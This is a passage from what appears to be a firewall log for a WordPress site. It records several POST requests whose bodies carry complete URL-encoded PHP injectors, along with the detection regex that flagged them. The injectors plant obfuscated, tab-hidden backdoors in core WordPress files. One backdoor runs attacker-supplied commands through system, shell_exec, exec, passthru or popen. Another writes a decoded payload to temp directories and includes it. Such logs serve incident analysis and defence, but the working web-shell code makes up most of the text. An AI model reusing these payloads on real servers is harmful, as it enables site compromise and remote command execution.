ft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 22:58:16","185.98.128.239","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> bo:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/endpoints\/class-wp-rest-block-renderer-controller.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524event_dispatcher4%2520%253D%2520%2522pas%255Cx73%255Cx74%255Cx68ru%2522%253B%2520%2524secure_access%2520%253D%2520%2522hex%255Cx32bi%255Cx6E%2522%253B%2520%2524event_dispatcher2%2520%253D%2520%2522s%255Cx68e%255Cx6C%255Cx6C_ex%255Cx65c%2522%253B%2520%2524event_dispatcher6%2520%253D%2520%2522%255Cx73trea%255Cx6D_g%255Cx65t%255Cx5F%255Cx63%255Cx6Fn%255Cx74%255Cx65nt%255Cx73%2522%253B%2520%2524event_dispatcher7%2520%253D%2520%2522%255Cx70%255Cx63%255Cx6Cose%2522%253B%2520%2524event_dispatcher3%2520%253D%2520%2522e%255Cx78%255Cx65c%2522%253B%2520%2524event_dispatcher5%2520%253D%2520%2522p%255Cx6F%255Cx70en%2522%253B%2520%2524event_dispatcher1%2520%253D%2520%2522sy%255Cx73t%255Cx65m%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522r%255Cx65%255Cx63%2522%255D%2529%2529%2520%257B%2520function%2520module_controller%2520%2528%2524val%252C%2520%2524pset%2520%2529%2520%257B%2520%2524ref%2520%253D%2520%2527%2527%253B%2520%2524i%253D0%253B%2520while%2528%2524i%253Cstrlen%2528%2524val%2529%2529%257B%2520%2524ref.%253Dchr%2528ord%2528%2524val%255B%2524i%255D%2529%255E%2524pset%2529%253B%2520%2524i%252B%252B%253B%2520%257D%2520return%2524ref%253B%2520%257D%2520%2524rec%2520%253D%2520%2524secure_access%2528%2524_POST%255B%2522r%255Cx65%255Cx63%2522%255D%2529%253B%2520%2524rec%2520%253D%2520module_controller%2528%2524rec%252C%252026%2529%253B%2520if%2520%2528function_exists%2528%2524event_dispatcher1%2529%2529%2520%257B%2520%2524event_dispatcher1%2528%2524rec%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_dispatcher2%2529%2529%2520%257B%2520print%2520%2524event_dispatcher2%2528%2524rec%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_dispatcher3%2529%2529%2520%257B%2520%2524event_dispatcher3%2528%2524rec%252C%2520%2524holder_val%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524holder_val%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_dispatcher4%2529%2529%2520%257B%2520%2524event_dispatcher4%2528%2524rec%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_dispatcher5%2529%2520%2526%2526%2520function_exists%2528%2524event_dispatcher6%2529%2520%2526%2526%2520function_exists%2528%2524event_dispatcher7%2529%2529%2520%257B%2520%2524pset_ref%2520%253D%2520%2524event_dispatcher5%2528%2524rec%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524pset_ref%2529%2520%257B%2520%2524key_flg%2520%253D%2520%2524event_dispatcher6%2528%2524pset_ref%2529%253B%2520%2524event_dispatcher7%2528%2524pset_ref%2529%253B%2520print%2520%2524key_flg%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvLz8vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz1vK2AioaMypaDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\ncontent-length:5309\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-fetch-site:none\nsec-fetch-mode:navigate\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\n\nbo=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/endpoints\/class-wp-rest-block-renderer-controller.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524event_dispatcher4%2520%253D%2520%2522pas%255Cx73%255Cx74%255Cx68ru%2522%253B%2520%2524secure_access%2520%253D%2520%2522hex%255Cx32bi%255Cx6E%2522%253B%2520%2524event_dispatcher2%2520%253D%2520%2522s%255Cx68e%255Cx6C%255Cx6C_ex%255Cx65c%2522%253B%2520%2524event_dispatcher6%2520%253D%2520%2522%255Cx73trea%255Cx6D_g%255Cx65t%255Cx5F%255Cx63%255Cx6Fn%255Cx74%255Cx65nt%255Cx73%2522%253B%2520%2524event_dispatcher7%2520%253D%2520%2522%255Cx70%255Cx63%255Cx6Cose%2522%253B%2520%2524event_dispatcher3%2520%253D%2520%2522e%255Cx78%255Cx65c%2522%253B%2520%2524event_dispatcher5%2520%253D%2520%2522p%255Cx6F%255Cx70en%2522%253B%2520%2524event_dispatcher1%2520%253D%2520%2522sy%255Cx73t%255Cx65m%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522r%255Cx65%255Cx63%2522%255D%2529%2529%2520%257B%2520function%2520module_controller%2520%2528%2524val%252C%2520%2524pset%2520%2529%2520%257B%2520%2524ref%2520%253D%2520%2527%2527%253B%2520%2524i%253D0%253B%2520while%2528%2524i%253Cstrlen%2528%2524val%2529%2529%257B%2520%2524ref.%253Dchr%2528ord%2528%2524val%255B%2524i%255D%2529%255E%2524pset%2529%253B%2520%2524i%252B%252B%253B%2520%257D%2520return%2524ref%253B%2520%257D%2520%2524rec%2520%253D%2520%2524secure_access%2528%2524_POST%255B%2522r%255Cx65%255Cx63%2522%255D%2529%253B%2520%2524rec%2520%253D%2520module_controller%2528%2524rec%252C%252026%2529%253B%2520if%2520%2528function_exists%2528%2524event_dispatcher1%2529%2529%2520%257B%2520%2524event_dispatcher1%2528%2524rec%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_dispatcher2%2529%2529%2520%257B%2520print%2520%2524event_dispatcher2%2528%2524rec%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_dispatcher3%2529%2529%2520%257B%2520%2524event_dispatcher3%2528%2524rec%252C%2520%2524holder_val%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524holder_val%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_dispatcher4%2529%2529%2520%257B%2520%2524event_dispatcher4%2528%2524rec%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_dispatcher5%2529%2520%2526%2526%2520function_exists%2528%2524event_dispatcher6%2529%2520%2526%2526%2520function_exists%2528%2524event_dispatcher7%2529%2529%2520%257B%2520%2524pset_ref%2520%253D%2520%2524event_dispatcher5%2528%2524rec%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524pset_ref%2529%2520%257B%2520%2524key_flg%2520%253D%2520%2524event_dispatcher6%2528%2524pset_ref%2529%253B%2520%2524event_dispatcher7%2528%2524pset_ref%2529%253B%2520print%2520%2524key_flg%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 22:58:26","208.181.135.74","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/endpoints\/class-wp-rest-block-renderer-controller.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524event_dispatcher4%2520%253D%2520%2522pas%255Cx73%255Cx74%255Cx68ru%2522%253B%2520%2524secure_access%2520%253D%2520%2522hex%255Cx32bi%255Cx6E%2522%253B%2520%2524event_dispatcher2%2520%253D%2520%2522s%255Cx68e%255Cx6C%255Cx6C_ex%255Cx65c%2522%253B%2520%2524event_dispatcher6%2520%253D%2520%2522%255Cx73trea%255Cx6D_g%255Cx65t%255Cx5F%255Cx63%255Cx6Fn%255Cx74%255Cx65nt%255Cx73%2522%253B%2520%2524event_dispatcher7%2520%253D%2520%2522%255Cx70%255Cx63%255Cx6Cose%2522%253B%2520%2524event_dispatcher3%2520%253D%2520%2522e%255Cx78%255Cx65c%2522%253B%2520%2524event_dispatcher5%2520%253D%2520%2522p%255Cx6F%255Cx70en%2522%253B%2520%2524event_dispatcher1%2520%253D%2520%2522sy%255Cx73t%255Cx65m%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522r%255Cx65%255Cx63%2522%255D%2529%2529%2520%257B%2520function%2520module_controller%2520%2528%2524val%252C%2520%2524pset%2520%2529%2520%257B%2520%2524ref%2520%253D%2520%2527%2527%253B%2520%2524i%253D0%253B%2520while%2528%2524i%253Cstrlen%2528%2524val%2529%2529%257B%2520%2524ref.%253Dchr%2528ord%2528%2524val%255B%2524i%255D%2529%255E%2524pset%2529%253B%2520%2524i%252B%252B%253B%2520%257D%2520return%2524ref%253B%2520%257D%2520%2524rec%2520%253D%2520%2524secure_access%2528%2524_POST%255B%2522r%255Cx65%255Cx63%2522%255D%2529%253B%2520%2524rec%2520%253D%2520module_controller%2528%2524rec%252C%252026%2529%253B%2520if%2520%2528function_exists%2528%2524event_dispatcher1%2529%2529%2520%257B%2520%2524event_dispatcher1%2528%2524rec%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_dispatcher2%2529%2529%2520%257B%2520print%2520%2524event_dispatcher2%2528%2524rec%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_dispatcher3%2529%2529%2520%257B%2520%2524event_dispatcher3%2528%2524rec%252C%2520%2524holder_val%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524holder_val%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_dispatcher4%2529%2529%2520%257B%2520%2524event_dispatcher4%2528%2524rec%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_dispatcher5%2529%2520%2526%2526%2520function_exists%2528%2524event_dispatcher6%2529%2520%2526%2526%2520function_exists%2528%2524event_dispatcher7%2529%2529%2520%257B%2520%2524pset_ref%2520%253D%2520%2524event_dispatcher5%2528%2524rec%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524pset_ref%2529%2520%257B%2520%2524key_flg%2520%253D%2520%2524event_dispatcher6%2528%2524pset_ref%2529%253B%2520%2524event_dispatcher7%2528%2524pset_ref%2529%253B%2520print%2520%2524key_flg%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nsec-ch-ua:\"Google Chrome\";v=\"119\", \"Chromium\";v=\"119\", \"Not?A_Brand\";v=\"24\"\ncontent-length:5332\nsec-ch-ua-mobile:?0\nhost:dewenlabels.com\nsec-ch-ua-platform:\"macOS\"\ncontent-type:application\/x-www-form-urlencoded\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-mode:navigate\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-user:?1\nsec-fetch-site:none\nsec-fetch-dest:document\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/endpoints\/class-wp-rest-block-renderer-controller.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524event_dispatcher4%2520%253D%2520%2522pas%255Cx73%255Cx74%255Cx68ru%2522%253B%2520%2524secure_access%2520%253D%2520%2522hex%255Cx32bi%255Cx6E%2522%253B%2520%2524event_dispatcher2%2520%253D%2520%2522s%255Cx68e%255Cx6C%255Cx6C_ex%255Cx65c%2522%253B%2520%2524event_dispatcher6%2520%253D%2520%2522%255Cx73trea%255Cx6D_g%255Cx65t%255Cx5F%255Cx63%255Cx6Fn%255Cx74%255Cx65nt%255Cx73%2522%253B%2520%2524event_dispatcher7%2520%253D%2520%2522%255Cx70%255Cx63%255Cx6Cose%2522%253B%2520%2524event_dispatcher3%2520%253D%2520%2522e%255Cx78%255Cx65c%2522%253B%2520%2524event_dispatcher5%2520%253D%2520%2522p%255Cx6F%255Cx70en%2522%253B%2520%2524event_dispatcher1%2520%253D%2520%2522sy%255Cx73t%255Cx65m%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522r%255Cx65%255Cx63%2522%255D%2529%2529%2520%257B%2520function%2520module_controller%2520%2528%2524val%252C%2520%2524pset%2520%2529%2520%257B%2520%2524ref%2520%253D%2520%2527%2527%253B%2520%2524i%253D0%253B%2520while%2528%2524i%253Cstrlen%2528%2524val%2529%2529%257B%2520%2524ref.%253Dchr%2528ord%2528%2524val%255B%2524i%255D%2529%255E%2524pset%2529%253B%2520%2524i%252B%252B%253B%2520%257D%2520return%2524ref%253B%2520%257D%2520%2524rec%2520%253D%2520%2524secure_access%2528%2524_POST%255B%2522r%255Cx65%255Cx63%2522%255D%2529%253B%2520%2524rec%2520%253D%2520module_controller%2528%2524rec%252C%252026%2529%253B%2520if%2520%2528function_exists%2528%2524event_dispatcher1%2529%2529%2520%257B%2520%2524event_dispatcher1%2528%2524rec%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_dispatcher2%2529%2529%2520%257B%2520print%2520%2524event_dispatcher2%2528%2524rec%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_dispatcher3%2529%2529%2520%257B%2520%2524event_dispatcher3%2528%2524rec%252C%2520%2524holder_val%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524holder_val%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_dispatcher4%2529%2529%2520%257B%2520%2524event_dispatcher4%2528%2524rec%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_dispatcher5%2529%2520%2526%2526%2520function_exists%2528%2524event_dispatcher6%2529%2520%2526%2526%2520function_exists%2528%2524event_dispatcher7%2529%2529%2520%257B%2520%2524pset_ref%2520%253D%2520%2524event_dispatcher5%2528%2524rec%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524pset_ref%2529%2520%257B%2520%2524key_flg%2520%253D%2520%2524event_dispatcher6%2528%2524pset_ref%2529%253B%2520%2524event_dispatcher7%2528%2524pset_ref%2529%253B%2520print%2520%2524key_flg%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 22:58:29","163.172.31.86","POST","\/","Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> TY:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Exception\/Http\/Status412.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%255B%2522%255Cx6Bey%2522%255D%2529%2529%257B%2520%2524itm%2520%253D%2520%2524_REQUEST%255B%2522%255Cx6Bey%2522%255D%253B%2520%2524itm%2520%253Dexplode%2528%2520%2527.%2527%2520%252C%2520%2524itm%2529%2520%253B%2520%2524object%253D%2520%2527%2527%253B%2520%2524salt%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524lenS%253D%2520strlen%2528%2520%2524salt%2520%2529%253B%2520%2524l%253D%25200%253B%2520%2524__tmp%253D%2520%2524itm%253B%2520while%2528%2520%2524v7%253D%2520array_shift%2528%2520%2524__tmp%2529%2529%2520%257B%2520%2524sChar%253D%2520ord%2528%2520%2524salt%255B%2524l%2520%2525%2520%2524lenS%255D%2520%2529%253B%2520%2524d%253D%2520%2528%2520%2528%2520int%2529%2524v7%2520-%2520%2524sChar%2520-%2528%2520%2524l%2520%2525%252010%2529%2529%2520%255E%252066%253B%2520%2524object%2520.%253D%2520chr%2528%2520%2524d%2520%2529%253B%2520%2524l%252B%252B%253B%257D%2520%2524pgrp%2520%253D%2520array_filter%2528%255Bsession_save_path%2528%2529%252C%2520%2522\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/var\/tmp%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520getcwd%2528%2529%255D%2529%253B%2520foreach%2520%2528%2524pgrp%2520as%2520%2524key%2520%253D%253E%2520%2524marker%2529%2520%257B%2520if%2520%2528%2528bool%2529is_dir%2528%2524marker%2529%2520%2526%2526%2520%2528bool%2529is_writable%2528%2524marker%2529%2529%2520%257B%2520%2524ent%2520%253D%2520sprintf%2528%2522%2525s\/.mrk%2522%252C%2520%2524marker%2529%253B%2520if%2520%2528file_put_contents%2528%2524ent%252C%2520%2524object%2529%2529%2520%257B%2520include%2520%2524ent%253B%2520%2540unlink%2528%2524ent%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\nsec-ch-ua-mobile:?1\nhost:dewenlabels.com\nsec-ch-ua-platform:\"Android\"\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvISxvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzyhL2k1MTHvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\ncontent-length:4393\nuser-agent:Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-site:none\n\nTY=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Exception\/Http\/Status412.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%255B%2522%255Cx6Bey%2522%255D%2529%2529%257B%2520%2524itm%2520%253D%2520%2524_REQUEST%255B%2522%255Cx6Bey%2522%255D%253B%2520%2524itm%2520%253Dexplode%2528%2520%2527.%2527%2520%252C%2520%2524itm%2529%2520%253B%2520%2524object%253D%2520%2527%2527%253B%2520%2524salt%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524lenS%253D%2520strlen%2528%2520%2524salt%2520%2529%253B%2520%2524l%253D%25200%253B%2520%2524__tmp%253D%2520%2524itm%253B%2520while%2528%2520%2524v7%253D%2520array_shift%2528%2520%2524__tmp%2529%2529%2520%257B%2520%2524sChar%253D%2520ord%2528%2520%2524salt%255B%2524l%2520%2525%2520%2524lenS%255D%2520%2529%253B%2520%2524d%253D%2520%2528%2520%2528%2520int%2529%2524v7%2520-%2520%2524sChar%2520-%2528%2520%2524l%2520%2525%252010%2529%2529%2520%255E%252066%253B%2520%2524object%2520.%253D%2520chr%2528%2520%2524d%2520%2529%253B%2520%2524l%252B%252B%253B%257D%2520%2524pgrp%2520%253D%2520array_filter%2528%255Bsession_save_path%2528%2529%252C%2520%2522\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%